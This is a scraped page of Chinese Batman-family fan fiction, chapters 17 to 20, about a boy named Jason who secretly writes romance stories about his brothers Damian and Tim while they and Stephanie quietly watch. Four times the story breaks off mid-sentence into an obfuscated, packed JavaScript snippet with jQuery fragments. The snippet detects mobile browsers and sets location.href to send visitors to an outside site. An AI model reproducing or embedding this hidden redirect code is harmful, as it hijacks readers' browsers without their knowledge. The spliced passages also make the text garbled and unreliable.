我绞尽脑汁回忆——嗯,呃,那天我也看见了。提姆确实笑了,但那个笑的意思是:“达米安,书房空调早就坏了你知道吗,现在才想起来?” 杰森已经指向第三条线。 “第三条是‘眼神分析线’——我记录了他们每次对视的时长和眼神类型。你看这张表——” 我低头看去。 【日期——对视时长——眼神类型——备注 X月X日——1.8秒——审视+回避——提姆先低头,疑似害羞 X月X日——2.1秒——确认+回应——达米安先移开,疑似掩饰 X月X日——3.5秒——互不相让——两人都没动,暗流汹涌】 我的天啊太伟大了时间控制大师杰森! 我放下笔记本,回想起自己的来时路。当年我刚吃上哥谭美帝,为了在论坛上嗑CP发同人,也是这种兢兢业业的状态——收集资料、分析细节、整理时间线。 这是必经之路吗? 我看着杰森那张因为激动而微微发红的脸,忽然有点恍惚——这简直就是我啊!只不过我当年嗑的是哥谭公认的美帝蝙布,他嗑的是可能压根没什么人知道的米提。 某种意义上,他比我勇敢。 ……好吧,起码家里人知道。以及他的蒸煮,达米安和提姆本人也知道,只是比较沉默而已。 ———— 门外传来轻轻的敲门声。 杰森瞬间从床上弹起来,一把扯下墙上的纸,胡乱塞进床底。动作之快之利落,让我怀疑他练习过很多次。 “谁?” “是我,提姆。”是提姆的声音。 杰森愣了一下,看向我,用口型说:“提姆?!”然后有种被抓包的不知所措。 我对他的抗压能力感到无语,就这种心理素质还敢在蒸煮眼皮子底下嗑CP?翻了个白眼,走过去开门。 提姆站在门口,手里端着一个托盘,上面放着两杯冒着热气的牛奶和一盘小饼干。 他的目光越过我,落在房间里——床单有点乱,墙角露出半张纸的边角。 视线在那纸角上停留了一瞬。 然后他移开目光,眉眼弯弯,露出一个温和无害甚至称得上温柔的笑。 “阿福烤了新饼干,让我送点过来。你们这个年纪的孩子,晚上可能会饿。” 他把托盘递给我。 我接过,闻到一股温暖的奶香,以及提姆本人身上淡淡的、类似愉悦的情绪。 “谢谢提姆哥哥……”我直视着他看过来的清澈的蓝色眼眸,里面带着些轻松和看好戏的了然。一瞬间,他似乎也从这心灵的窗户里看透了我,看透了这具幼稚的身躯下的另一个灵魂。 “艾格尼斯真是个好孩子呢。” 那也仅仅只是一瞬。提姆不着痕迹地收回对我的打量,将视线转向杰森——杰森正以一种“警觉的小动物”的姿态站在床边,眼神复杂,像是既想冲过来把门关上,又怕动作太大引起怀疑。 提姆的嘴角动了一下。那弧度很轻,轻到如果不是我一直盯着他看,根本不会注意到。 不是礼貌的微笑,不是客气的敷衍,而是一种……怎么说呢,像是看见自家养的小猫偷了鱼干藏床底下、觉得又好气又好笑的那种笑。 “杰森,”提姆的声音很轻,像怕惊到什么,“如果有任何需要,可以来找我,任何事。” 杰森的喉咙动了动,不情不愿地嘟哝了几句。我听不太清,但大概是什么“不需要”“我自己能搞定”“管好你自己”之类的话。 提姆没有追问。像是所有的和弟弟妹妹们交流不太顺利的好兄长那样,澄澈的眸子里带着点无可奈何的忧伤,又迫于尊重,只能带着未出口的关心与话语,留给杰森一个笑。 “好吧,为我还是刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454796|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那句话。我们是家人,杰森。” 然后他转身离开。脚步很轻,走到门口时,他顿了一下,没有回头。 门关上了。 走廊里传来脚步声,渐渐远去。 杰森的脸在安静的房间里以肉眼可见的速度变红,从脖子一直红到耳尖。 杰森冲到我身边,压低声音尖叫:“你看到了吗!!!他给我们送牛奶!!!还问我们有没有需要!!!这是示好!这是他在向我们传递信号!” 我把托盘放在桌上:“……为什么他就不能是单纯地送牛奶呢?”都说到这个份上了,杰森还没听懂,我也是没招了。 “你不懂!”杰森激动地抓头发,“他平时只给那恶魔端咖啡!什么时候管过别人?!他主动来找我们,一定是想借机接触外人!他想让我们知道他的处境,但又不敢直说,所以用送牛奶当借口!” 我只是一言不发地看着他,用我最不赞同最严肃的表情。 而杰森已经开始在房间里激动地转圈圈,压根没看我一眼。 “你看他刚才的表情——笑是笑了,但眼神里有疲惫!有隐忍!他说‘任何事都可以问’——这是暗示!他需要我们主动问!” 哇,他居然听得出来呢。 我默默喝了一口牛奶。温的,甜度刚好。 好喝! 提姆·德雷克是一个比你想象中聪明得多的人。因为他对你之前那些小把戏,从来都看得一清二楚。他选择不戳穿,不是因为他不知道,而是因为他觉得——这没什么大不了的。 他坐在我对面,拿起另一杯牛奶,喝了一大口。 “你说,他会不会觉得我很变态?” “……应该不会。” “你怎么知道?” “因为如果他真的和你写的一样,那他也是变态,他应该会觉得你很正常。” 杰森噎了一下,牛奶差点从鼻子里喷出来。 “艾格尼斯!” “我说的是实话。”我无辜地眨眨眼,“你想想,一个正常人会每天记录哥哥的咖啡摄入量和对视时长吗?不会。只有另一个变态才会觉得这很正常。” 杰森瞪着我,张了张嘴,发现无法反驳。 “……你这个嘴巴真的不饶人。” “我这是逻辑清晰。” 杰森哼了一声,继续喝牛奶。 房间里安静了一会儿。 然后他忽然开口:“艾格。” “你说,提姆刚才说‘任何事都可以问’——他是不是在暗示我,可以问他关于达米安的事?” 我看了他一眼。 这家伙,果然还是放不下他的CP。 “也许。”我说,“你可以试试。” 杰森的眼睛亮了一下,然后又暗下去。 “不行。万一他是在试探我呢?万一他问我‘你问这个干什么’,我怎么说?” “你就说‘我想多了解这个家’。” “那太假了。” “那你就说‘我想了解达米安’。” “那更假!我对他又没兴趣!我甚至很不想看见他!” 我看着他那副此地无银三百两的表情,忍不住笑了。 “行,你没兴趣。” “我真的没兴趣!我只是——我只是在记录真相!” “嗯,真相。” 杰森瞪了我一眼,一口气顿顿顿把牛奶喝完,十分豪气地将杯子砸在桌子上,站起来。 “不跟你说了,我要去写新章了。” “今晚还有?” “当然!这可是天大的素材——灵感来了挡都挡不住!” 18. 第 18 章 提姆回到东翼书房的时候,达米安正坐在桌后,面前摊着几份文件。 他没抬头,“送完了?” “嗯。”提姆走到自己惯常的位置坐下,顺手拿起桌上的咖啡杯——已经凉了,他皱眉看了一眼,又放下了。 “那两个呢?” “在讨论证据链。” 达米安的手指顿了一下。 “……证据链。” “像模像样的,还顺走了装饰用的彩绳和图钉。”提姆的语气很平,但嘴角有一个极小的弧度,“十几张照片,还有手写标注。我扫了一眼,有一张写的是‘距离0.3米,达米安的手微微抬起,疑似想碰触但克制’。” 达米安抬起头。 “陶德的思维过于活跃了。”这说法已经相当委婉。 那双绿眼睛里没有愤怒,没有尴尬,只有一种难以描述的东西——像是无奈,又像是“我早就知道”。 “他花了三天。”提姆补充道。 “……” 那要他怎么说?夸这没点脑子的小家伙很有毅力和耐心吗? “从图书馆借了《刑侦证据链构建入门》。” “……” “还数了你扶我的秒数。” 听到这里,达米安危险地眯起眼,目光沉沉看着眼前这个弟弟。 “说起这个,你不向我解释你那天为什么会被区区地毯绊倒吗?” “哈,不提这个,”提姆有些尴尬,立刻岔开话题,“谁没个失误的时候。” “这会让我思考对你的要求是否还不够,德雷克。” “D,我可以解释——” 达米安的脸突然凑近,用那种只有两人才能听到的声音,“解释什么?零点三秒的延迟,就是生与死的距离——”两人凑得太近,碧色的眼中映出自己的模样,提姆几乎能听到他的心跳,平稳而有力。 提姆侧过头失笑,将自己身边的一摞处理好的文件摔在达米安面前,“你怎么也学坏了?或者说你也是小杰森的忠实读者?” “看的津津有味的可不是我,是父亲。” “你,也算一个。” “好吧,我承认我看的很开心,我假设你也愿意和我分享你的漫画……” “德雷克。” “别这样小气,达米安!我也可以给你分享我珍藏的布鲁斯宝贝的丑照,我保证大部分你都没看过!” “真希望你能将更多的精力放在学业上。” “得了吧,除非你希望我将拍摄的重点放在你身上,B一定会很感谢你的。” 达米安对着这个一直背地里搞小动作大多数时候伪装乖巧经常性不服管教偶尔对着干的鸭子无话可说。或者说两人过于了解彼此,熟稔而安静的坐在一起工作已经能解决很多事。 于是达米安也没有想要挫一挫这只嚣张鸭子气焰的打算。 “陶德,他应该去学点有用的。” “这难道不算有用?”提姆歪了一下头,表情无辜,“至少他的观察力是真的在进步,只是方向不太对而已。” 达米安看了他一眼,“真的只是不太对吗?” 那一眼的意思是,你倒是很会替他说好话。 提姆读懂了,但他没有解释,只是端起那杯凉透的咖啡又放下,换了个话题。 “那个红头发的,艾格尼斯,可爱的小家伙。” “嗯。”提姆十指交叠,靠在椅背上,“他不太一般呢。” 达米安没有接话,但也没有否认。 提姆继续说:“他在房间里的时候,一直在观察。不是小孩子那种好奇——是那种……在对比什么的感觉。好像他在拿这个家和另一个地方做比较。” “另一个世界。”达米安说。 提姆挑眉。 “别看了,父亲没有告诉我。你想知道详细的可以自己黑进去找。”达米安的语气平淡得像在说今天天气不错,“那个孩子来自另一个时间线,一个我们顺序颠倒的世界。他知道很多事——包括我们的身份,包括另一个世界的我们是什么关系。” 提姆沉默了几秒。 然后他轻声说:“所以他知道我们……”的秘密身份? “嗯。” “那他看我的眼神——”提姆顿了顿,像是在回忆,“不是看陌生人的眼神,是看‘认识很久的人’的眼神。” “估计也是B的孩子。” 达米安没有接话。 提姆垂下眼,看着桌上那杯凉透的咖啡。 “另一个世界的我们,是什么关系?” “兄弟。” “只是兄弟?” “嗯。” 提姆轻轻“哦”了一声,语气里带着一丝说不清是失望还是别的什么,“唉,我以为还有什么整天针锋相对的戏码,没有吗?真令人可惜啊。” 沉默在书房里蔓延了几秒,然后提姆忽然开口,语气轻快了一些:“不过说实话,杰森的观察力确实不错。” 达米安抬眉。 “我是说,虽然他的解读方向完全错了,但他看到的东西本身是真的。” “他注意到是因为他每天都在偷看。” “那也是注意力的体现。”提姆微笑,“瞧瞧他的天赋,就算B不愿意,我也想把他拐来干活了。” 达米安眉头一挑,放下手中的笔。 “你不是已经这么做了吗?” 提姆的笑容僵了一瞬。 “他的课程是你安排的吧。”达米安的语气没有起伏,但那双绿眼睛里带着一丝了然,“英语、数学、刑侦基础,这门课换了个名字——那份课表是你拟的。” “那只是——”提姆张了张嘴,又闭上了。 达米安等着他编。 “……基础义务教育,布鲁斯的孩子理应具备的能力——你的原话。” “嗯。” “当初是你让我安排杰森的课表的。” “嗯。” “我只是在履行兄长的职责。” 达米安看着他,嘴角微微动了一下。 那个弧度很小,小到如果不是和提姆认识了这么多年,根本不会注意到。 他忽然觉得有点心虚——虽然他不应该心虚,毕竟达米安自己也没少干类似的事。如果自己干坏事被抓包了,应该怎么做呢?蝙蝠家的所有人都知道:拖另一个倒霉蛋下水。 “那些书,”提姆说,“是你放在杰森能看得到的地方的吧?” 达米安的表情没有任何变化。 “《呼啸山庄》《简·爱》《傲慢与偏见》——书房第三排书架,那个高度刚好是杰森伸手能够到的位置。”提姆掰着手指数,“以前那里放的是财报和公司法。你什么时候换的?” 达米安没有回答。 “还有《五十度灰》。”提姆补充道,“那本也是你放的?” 达米安端起桌上的咖啡杯——然后想起已经凉了,又放下了。 “……那是父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454797|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放的。” “B?” “他说年轻人应该多了解流行文化。” 提姆仔细地上下打量他,希望从他的神情中看出一丝端倪。 可惜提姆失败了,也许是刺客联盟的基础素养打得太好,也可能是达米安本人演技出众,又或者是真的是布鲁斯干的,总之,达米安面不改色。 “……行。”提姆点点头,“是B放的,让纯洁的杰森接触到了。” 他端起那杯凉透的咖啡,站起来,走到门边。 “我去换杯热的。” 达米安抬起头,对上提姆那双带着笑意的眼睛。 两双同样点缀着星光的眼睛在一瞬间交错。 然后达米安移开视线,拿起那份季度报告,翻到下一页,将自己的杯子推给他。 “咖啡。”他说。 提姆笑着走出去了。 走廊里,他的脚步声轻快得像在哼一首没有曲调的歌。 走到茶水间的时候,他靠在料理台上,等水烧开。 水壶发出嗡嗡的低鸣。 ———— 端着杯子走回书房的路上,他经过走廊转角的那盆绿植。 那盆绿植的叶子比上周茂盛了不少。 提姆停下脚步,看了一眼。 树干上有一个不太明显的凹陷——大概是被人长期靠着留下的痕迹。 ———— 提姆把咖啡放在达米安的右手边——那个永远固定的位置。 两个人都没有说话,只是在自己的位置上处理文件。 书房里只有翻页的沙沙声和偶尔的咖啡杯碰撞桌面的轻响。 窗外的哥谭夜色深沉,今天是个蝙蝠活动的好日子,书房的灯还亮着。 过了很久,久到提姆以为今晚的对话已经结束了,达米安忽然开口。 “那个孩子。” 提姆抬起头。 “艾格尼斯。”达米安说,“你怎么看?” “你觉得他在等什么?” 提姆想了想。 “也许他在等我们问他。”他说,“也许他在等一个合适的时机。又也许——他只是想先看看这个家是什么样子,再决定要不要留下来。” 达米安沉默了一会儿。 “他会留下来的。”他说。 提姆挑眉:“这么确定?” “他已经留下来了。”达米安的语气平淡得像在陈述事实,“而且据我推测,他估计和我一样,是父亲的血脉之子。” 提姆看着他,嘴角慢慢翘了起来。 “你观察得也很仔细嘛。” “我以为你会对他的存在有所表示。”比如排斥、怀疑、抗拒之类的?虽然听起来和达米安本人不搭。 “你对我的误解是不是太大了?”达米安看着杯子里平静的水面中模糊的倒影,“我不会对父亲的选择做出过多评价,你很清楚。” 所以要等到艾格尼斯自己愿意融入这个家,自己说出来一切吗?等待他人推心置腹的毛病啊……啧啧啧。 提姆靠在椅背上,望着天花板。 “所以现在的情况是——杰森在写我们两个的CP,艾格尼斯在旁边看着,布鲁斯在追更,卡珊和斯蒂芬妮也在远程打分。” 他顿了顿。 “而我们两个,是杰森一直在观察还要装作不知道的演员本人。” “这混乱的家庭啊。”提姆最后感叹道。 “早点习惯吧。” 19. 第 19 章 今天,杰森收获了他的“新大陆”,而我也收获了乐子。 杰森拉着我躲在楼梯转角(这次没有绿植,但有一个雕像),等待达米安和提姆出现。 等了大概十分钟的时候,楼梯上方忽然传来一阵熟悉的、轻快的脚步声。 “嘿!你们躲在这儿干嘛呢?” 我一抬头,一个金发女孩正居高临下地看着我们,脸上带着那种“我发现了一个秘密基地”的兴奋表情。瞧瞧那张看起来永不沮丧的脸,她还能是谁呢? 杰森吓了一跳,顾不上打量眼前的陌生人,条件反射地把手指竖在嘴边:“嘘——!小声点!” “哦——”女孩立刻压低声音,蹑手蹑脚地蹲下来,挤到我们旁边,脑袋从我和杰森中间探出去,“在偷看什么?我也要我也要。” “你是?”杰森狐疑地打量她,显然对这个突然冒出来的家伙充满警惕。 “斯蒂芬妮·布朗!”她伸出手,笑得很灿烂,完全不在意杰森的眼神,“我是……额,提姆的朋友!偶尔来庄园蹭饭。你就是杰森吧?阿福提过你,说家里来了个新弟弟。”她决计不会承认是达米安那个暴君的朋友! “哦……”杰森一脸莫名其妙地和她握了握手,注意力立刻被走廊尽头的动静拉了回去,“嘘!待会说!他们出来了!” 斯蒂芬妮顺着他的目光看过去——达米安和提姆正从书房走出来,边走边说话。 我趁杰森全神贯注的间隙,飞快地朝斯蒂芬妮使了个眼色。尽管这是我们“第一次”见面,实际上却是神交已久的“笔友”,这里指的是作为杰森阅读小组成员的革命友谊。 她眨了眨眼,做了个鬼脸,嘴角微微翘起,然后用口型无声地问:“他今天更新了吗?” 我微微摇头。 她露出一副“可惜了”的表情,然后若无其事地转回去,继续跟着杰森看走廊。 杰森浑然不觉,整个人像一根绷紧的弦,耳朵竖得比蝙蝠侠头盔上的猫耳(如果那能称之为猫耳)还高。 等了二十分钟,等到我几乎失去耐心,达米安和提姆终于走近了。 达米安的声音远远传来:“今晚你跟我走。” 提姆的回答同样简单:“好。” 然后两人走向东翼深处,消失在走廊尽头。 ———— 杰森整个人像被雷劈了一样定在原地。 我看着他,心想终于开窍了。 杰森缓缓转过头,眼神空洞,嘴唇颤抖。 “你……你听到了吗?” “……听到了呢。”他们有夜间活动!他们要去夜巡! 斯蒂芬妮在旁边小声嘀咕:“哇哦,这句话好有深意啊。”语气里带着恰到好处的好奇,像是一个第一次听到这对话的普通旁观者。 她的演技浮夸得要命!布鲁斯没给她做培训吗? 杰森完全没注意到她的“表演”,声音像从牙缝里挤出来:“‘今晚你跟我走。’‘好。——这说明——’” “嗯?” “这是……这是……” 我充满希冀的眼睛死死地盯着他,等着他说出“夜巡任务”或者“蝙蝠洞训练”之类的话。 杰森几乎要抱头尖叫:“这是夜半私奔啊啊啊啊啊啊——!!!” “……” “???” 斯蒂芬妮差点笑出声,用手死死捂住嘴,假装被呛到了,但还是有几个音节从指缝里漏出来,颇为滑稽。 杰森激动得在原地张开双臂转了三圈,然后一把抓住我的肩膀,完全忽略了旁边的斯蒂芬妮。 “你懂吗!‘今晚你跟我走’——这是邀请!是独处!是只属于他们两个的夜晚!‘好’——提姆答应了!他答应了!他没有犹豫!这说明什么?说明他心甘情愿!说明他也在期待!” 我一边试图挣扎:“也可能是去工作……”一边朝差点忍不住笑出声的斯蒂芬妮拼命使眼色——救救我救救我!可是她光顾着捂自己的嘴笑没看过我一眼。 好吧,就知道史蒂芬靠不住! 还有,杰森你到底嗑的是不是强取豪夺啊?!提姆的设定能不能统一一下?这很影响我的嗑CP体验! “工作?!”杰森瞪着我,“什么工作需要晚上单独出去?!而且你看到他们的表情了吗?达米安说那句话的时候,声音压低了,眼神……眼神那种……那种……” 他形容不出来,脸还有些红,急得直跺脚。 我回忆了一下。达米安说那句话的时候,语气和平时没有任何区别,眼神也没有任何区别。甚至就连情感波动都没有区别…… 但杰森的眼睛里,已经上映了一整部爱情电影。 斯蒂芬妮在旁边看完了全程,然后凑到我耳边,用只有我能听到的声音说:“他比我想象的还有趣。” 我面无表情地给了她一个一言难尽的表情。 她用口型说:“真的,我很期待他写这段。” 不,那绝对会是个灾难……尤其是在所有人都在看他写的东西的情况下…… ———— 当晚,杰森带着新写的一叠稿子冲进我房间。 标题: 《夜奔:他们私奔的夜晚》 我眼前一黑,没有接。 这个起名字的水平——和我能坐一桌了! “杰森,你不觉得……可能还有别的解释吗?” 杰森愣了一下:“什么解释?” 我咬牙切齿:“比如……他们可能有别的工作要做。晚上出去,也许是……帮助别人之类的。” 杰森皱眉:“帮助别人?” 我点头。 杰森不解。 杰森沉思。 杰森悟了! 然后他的眼睛亮了。 “你是说——他们可能是义警?!晚上出去打击犯罪?!” 我的心跳漏了一拍。 谢天谢地!他终于—— “然后呢?打击完犯罪,两个人站在月光下,浑身是汗,心跳加速——那种肾上腺素飙升的感觉——最容易产生感情!你想想,并肩作战,生死相托,四目相对——这不比单纯的私奔更好嗑吗?!” “对的对的!还可以写义警AU!” “……”我一口气差点没缓过来,眼前一黑。 “……你真是……” “真是怎么了?” 我闭眼深呼吸:“……真是天赋异禀呀。” ———— 杰森继续奋笔疾书。 我坐在旁边,看着他的侧脸。 十二岁,黑发乱糟糟的,眼睛因为熬夜而发红,但亮得惊人。 那时候我也是这样,窝在房间里,对着电脑屏幕,一个字一个字地敲不过因为看不见,我需要点现器一个字一个字检查是否有错漏,哪像他——算了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454798|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也曾坚定不移的地认为布鲁斯和蝙蝠侠是两个人,是互为白黑的两方,而且他们之间有一种隐秘的、不能言说的关系。我写了无数篇,从暧昧到虐恋,从清水到…… 咳咳。 清水以外的东西我从来没发出去过,这一点我以布鲁斯的人格和我自己的道德保证。 至于后来我知道了真相。 那种“原来我嗑的是同一个人”的崩溃,我至今记忆犹新。 你知道蒸煮亲自下场拆CP的痛苦吗???!!! 于是我尝试再次撒娇卖痴,装作无知孩童引导杰森“走向正轨”。 杰森一脸怜悯地看着我,摸摸我的脑袋。 然后他叹了口气,用一种“你这孩子怎么还没开窍”的眼神看着我。 “阿格,你不懂。”他说,“我一开始也以为他们是兄弟,是一对再普通不过的阔少爷。但我观察得越久,越发现不对劲。” “哪里不对劲呢?”我虚心求教。 “其他的不提,就一点,毋庸置疑!达米安看提姆的眼神——那不是看兄弟的眼神。” 我:“那是什么眼神?” 杰森想了想,语言在嘴里转了两圈,认真措辞道:“那是看自己所有物的眼神!但又不仅仅是占有——还有……害怕失去。” 失去,[达米安]确实曾有过那种眼神——在[提姆受伤]的时候,在[提姆]差点死掉的时候,在那些差点失去的时刻。 我们都知道作为义警,生命不过是在刀尖舔血的日复一日消磨中从黑夜里挣得一点光明。这点,我早在日复一日和阿福在空荡荡的屋子里等待中早就理解了。 失去,这个早已在一句又一句地狱笑话里习以为常的未来可能性似乎也失去了严肃的性质,只留下轻浮的打闹。 但如果有人真的会失去,或者说本就可能或已经“失去”…… 我想,知道了这些的布鲁斯和达米安不会不做任何打算。 ———— “你有没有想过,”我的声音很轻,“如果有一天,你写的这些,被他们发现了怎么办?”你也要像我一样社死吗? 杰森低下头,看着自己手里的稿子。上面是他一个字一个字写出的文章,尽管难免还是有错漏,但为了作品的完美,他已经付出了相当多的时间去查每一个他需要的单词。 【他站在窗前,从无星无月的黑夜等到天边泛白。 他不知道他会不会来。 但他知道,如果他不来,他会一直等下去。 因为有些人,值得等一辈子。】 他沉默了很久。 然后他抬起头,露出一个死猪不怕开水烫的笑。 “那就等被知道了再说呗。”他说,“反正现在,就是蝙蝠侠本人来了,也不能阻止我!” “你知道有多少人在等我的更新吗?!” 我看到了他眼底的坚持与执拗。 我想在论坛上,也是有人这样陪着我,看我写的每一篇文,给我留言、点赞、催更。多少个孤独的夜晚,是一群素未谋面的读者为我点亮了寂冷的心,支撑我走过一年又一年,写下一篇又一篇。 杰森又何尝不是另一个我呢。 好吧,看在我十年老同人作者的使命,以及我和他之间过于相似的来时路的份上,真到了他倒霉的那天,我会和他一起承担后果的。 艾格尼斯,你可真是个好弟弟,好朋友啊! 20. 第 20 章 东翼书房,达米安坐在书桌后面,面前摊着哥谭警局最新的行动报告和晚上的工作报告。他的手指在纸页边缘轻轻敲了两下,然后停下。 “陶德今天又蹲了走廊转角。” 提姆从屏幕后面抬起头,“嗯,和艾格尼斯一起。” “还有布朗,她也回来了。”达米安补充道,“还蹲在陶德旁边,笑得让人怀疑她的智商。” 提姆的嘴角动了一下。他没有问达米安是怎么知道的——这个家里几乎没有隐私这回事。她们,这里特指卡珊德拉,就是被布鲁斯、达米安以及提姆随着年岁增长日渐强大的控制欲和无处不在的摄像头逼走的。为此她选择了前往香港上学,顺便带走了斯蒂芬妮。 那么,留在家里的几位控制狂该在哪里释放他们的控制欲呢?(笑) “他听见了。”提姆说,语气平淡得像在陈述天气,“‘今晚你跟我走。’‘好。’,他甚至都能复述你我的对话。” 达米安翻过一页报告,“嗯。”那他总应该明白—— “然后他的第一反应是‘私奔’。” 达米安的手指停住了。 他抬起头,看着提姆。提姆正靠在椅背上,整个人像一滩液体抬头看着天花板上的水晶吊灯,表情介于“无奈”和“好笑”之间。 “他以为我们在私奔。”提姆重复了一遍,像是在确认自己没说错,“这段时间,我们说了‘任务’、‘伤’、‘状态’,他都听见了。” “我们之前在他面前讨论过供应商、预算、法务部,他也听见了。” “然后他得出‘私奔’的结论。” 达米安没有接话,但提姆注意到,他翻报告的动作比刚才用力了一点。 “我假设,”提姆继续说,语气里带上了一丝戏谑,“我们的‘明示’已经足够明显。‘夜间活动’、‘任务’、‘伤’——正常人至少会往‘义警’的方向想一想。” “他不是正常人。”达米安一锤定音。 他现在对家里人的大脑皮层是否有正常褶皱有了深深的疑问。父亲、陶德、布朗,甚至是刚来的巴贝尔,有一个算一个都在出演一场毫无意义的儿童剧,甚至就连他也鬼迷心窍般同意了德雷克愚蠢的“测试”提议,愿意纡尊降贵在陶德面前出演正常人(?)。 提姆却说:“他是。”他认为杰森的想法很正常。 达米安皱眉看了他一眼,似乎对他的大脑结构也有了些疑惑。 提姆耸了耸肩,很宽容地说道:“他只是……思维路径不太一样。他看到的一切都先经过‘CP滤镜’再进入大脑皮层。我们在他眼里不是‘义警搭档’,是‘虐恋主角’。” 小孩子就是富有想象力啊,想当年他也是个跟在蝙蝠侠和蝙蝠小子后面偷偷拍照的普通粉丝,也曾幻想过有一天能和他们一起踹坏蛋们的屁股,直到…… 唉,不说了,都是泪啊,偶像滤镜破灭这一块。 “他还给我们的‘虐恋’写了人物小传。”达米安面无表情,“你是‘表面顺从实则坚韧的小可怜’,我是‘不懂爱只会用控制表达关心的恶魔’。” 提姆轻咳了一声。 “……你看了?我以为你不会感兴趣。” “父亲全部收录在电脑里,想看不到都难。我不知道能有什么保留价值,但他们乐意就行。”达米安的语气没有任何起伏,“‘恶魔的宠儿:他在他掌心里’——标题起得不错,比他后面那些强。” 提姆试图将脸埋进自己的掌心,杯子里的咖啡似乎在嘲笑他。 他端起桌上的咖啡杯猛灌一口,试图掩饰什么,但达米安的视线已经精准地捕获了他脸颊那一抹绯红。 “你居然详细看了。”提姆放下杯子,努力让自己的声音听起来正常,“你不是说‘无聊’吗?” “是荒谬。”他不觉得他们之间有陶德写得那样轻浮可笑。 达米安没有回答,他低下头,继续翻报告。 但提姆注意到,他翻页的速度明显慢了。 沉默在书房里蔓延了几秒。然后提姆开口,声音里带着一丝连他自己都没察觉的笑意。 “那如果他一直误会下去呢?” “你觉得呢?” 想也不可能,总归要让他彻底融入这个家。 “他迟早会发现真相的,想想看吧,到时候……” 他顿了顿,嘴角微微翘起。 “到时候会多有趣啊,我已经准备好记录下来以后放给杰森看了。”把柄嘛,什么时候都不嫌多,不然以后集体翻旧账的时候哪来的筹码呢? 达米安没说话。 但他的嘴角,似乎也有一丝极淡的弧度。 门在这时被敲响了。不是那种规矩的、等待回应的敲门,是那种“我已经在推门了顺便敲两下以示礼貌”的敲门。 斯蒂芬妮的脑袋从门缝里探进来,金发在灯光下亮得晃眼。 “嗨!没打扰吧?我可是特意提前回来的,就为了给你们一个惊喜!” 达米安没有说“打扰了”,也没有说“进来”。斯蒂芬妮把这解读为“默许”,笑嘻嘻地挤了进来,在提姆旁边的椅子上坐下。 “你们在聊小杰森?”她问,语气里带着一种“我早就知道了”的得意,“我刚刚从走廊过来,看见他蹲在那盆绿植后面写东西,表情特别陶醉。那个红头发的小甜心坐在旁边,一脸‘我为什么要在这里’的无奈。” “艾格尼斯。”提姆提醒道。 “对,艾格尼斯。哦,可爱的小家伙,就是眼神太成熟了,看着不像八岁。”斯蒂芬妮摆了摆手,“不过那不是重点。重点是——杰森刚才在笔记本上写什么你们知道吗?” 达米安和提姆都看着她。他们的监控还没办法直接看到杰森写的字,起码要明天才能知道他今天的大作。 斯蒂芬妮清了清嗓子,模仿杰森的语气:“‘达米安说‘今晚你跟我走’时声音压低了0.5个度——那是隐忍的渴望!那是压抑的爱意!’”她说完,自己先笑出了声,“0.5个度!他是怎么听出来的?” 提姆揉了揉眉心,达米安面无表情。 斯蒂芬妮笑够了,擦了擦眼角,然后忽然凑近两人,目光在达米安和提姆之间来回扫了两遍。 “说真的,”她的声音压低了,带着一种“闺蜜夜谈”的八卦感,“你俩真不是有一腿?杰森可一点都没怀疑你们是清白的呢!” 书房的空气忽然安静了。 达米安看着她,那双绿眼睛里没有任何情绪波动。 提姆端起咖啡杯,喝了一口,放下。 “斯蒂芬妮。”提姆说。 “嗯?” “你今天的训练任务完成了吗?” 斯蒂芬妮的笑容僵了一瞬。 “哦提米,我的好提米,你不能每次我这种开玩笑的问题就用训练来威胁我——” “我只是关心你的进度。”提姆的微笑无懈可击,“毕竟卡斯上周说过,你的近身格斗还有提升空间。” 达米安“嗯”了一声。 斯蒂芬妮看了看提姆,又看了看达米安,然后“啧”了一声,从椅子上站起来。 “行行行,你们清高,你们正经,真是开不起玩笑的小气鬼!”她往门口走去,走了两步又回头,“但我要说——杰森虽然方向错了,但他观察到的那些细节,真的挺真的。” 她做了个鬼脸,拉开门,蹦蹦跳跳地出去了。 门关上。 走廊里传来她轻快的脚步声,渐渐远去。 书房重新安静下来。 提姆端起咖啡杯,发现已经空了,又放下了。 “她说的……”他开口,又停住了。 达米安没有追问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 